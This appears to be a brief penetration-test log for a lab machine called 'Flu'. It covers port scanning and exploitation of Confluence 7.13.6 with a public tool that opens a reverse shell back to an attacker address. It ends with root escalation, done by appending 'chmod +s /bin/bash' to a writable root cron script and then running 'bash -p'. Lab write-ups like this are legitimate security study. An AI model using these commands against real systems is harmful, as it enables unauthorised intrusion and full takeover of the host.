Flu

๐Ÿงช Pentest Log: {{date:2025-08-02}}

๐Ÿ” Target Information

ip=192.168.230.41

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 8090

[Confluence](http://www.atlassian.com/software/confluence) 7.13.6

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

Port 8091

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

https://github.com/jbaines-r7/through_the_wire

python3 through_the_wire.py --rhost $ip --rport 8090 --lhost 192.168.45.163 --protocol http:// --reverse-shell

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Scheduled Tasks

cat /etc/crontab

./pspy64

found /opt/log-backup.sh running by root every min and is writable by the current user

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

echo "chmod +s /bin/bash" >> /opt/log-backup.sh

bash -p